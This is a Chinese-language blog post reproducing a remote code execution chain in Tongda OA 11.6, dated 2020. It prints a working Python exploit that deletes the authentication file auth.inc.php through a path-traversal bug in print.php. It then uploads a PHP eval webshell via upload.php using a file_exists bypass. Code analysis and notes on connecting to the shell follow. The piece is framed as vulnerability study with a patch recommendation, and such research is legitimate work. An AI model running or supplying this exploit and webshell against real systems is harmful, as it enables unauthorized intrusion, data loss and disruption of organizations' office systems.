通达OA 11.6 rce漏洞复现

在2020 hvv期间,接连爆出n多漏洞,这里选择通达OA 11.6 rce进行复现,其他版本请自行测试。
修复建议:升级至最新版本
自己公司或去客户现场做测试的话,可以让客户去 webroot\inc 下将auth.inc.php备份一下,等利用成功GetShell 后,再将该文件放进去

安装通达OA 11.6

傻瓜式安装
td11.6_1

访问

td11.6_2

通达OA 11. 的脚本已经很多了,放出来

import requests
target="http://192.168.137.242/"
payload="<?php eval($_REQUEST['Lay0us']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('Lay0us.php', payload)}
requests.post(url=url,files=files)
url=target+"/_lay0us.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

从POC看出来该漏洞会删除 auth.inc.php ,由此需要把文件备份一些再进行复现,打开文件

td11.6_3

这里用到大佬写的工具 SeayDzend 进行解密

td11.6_4

文件太多,发现已经解密完成,停止

td11.6_5

打开文件

td11.6_6

从第三行包含代码发现 是对登陆的校验文件

检查/module/appbuilder/assets/print.php文件 (未授权访问导致产生文件删除漏洞)

td11.6_7
这里可以看到 页面获取 guid参数的值
使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件

exp中访问/general/data_center/utils/upload.php文件上传

td11.6_8
调用action=upload上传文件
传入不存在的filetype 进入漏洞点

td11.6_9
根据exp构造了上传文件名和内容 {'FILE1': ('Lay0us.php', payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件

总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞
file_exists特性绕过参考文章:https://www.freebuf.com/articles/web/53656.html

下面来看exp的利用

td11.6_10
就是回车之后将进行后续操作 将会删掉auth.inc.php这个文件 可能会导致正常业务运行

上传成功 访问

td11.6_11

连接shell或者执行命令

td11.6_12

posted @ 2020-10-12 11:22  Lay0us  阅读(371)  评论(0编辑  收藏  举报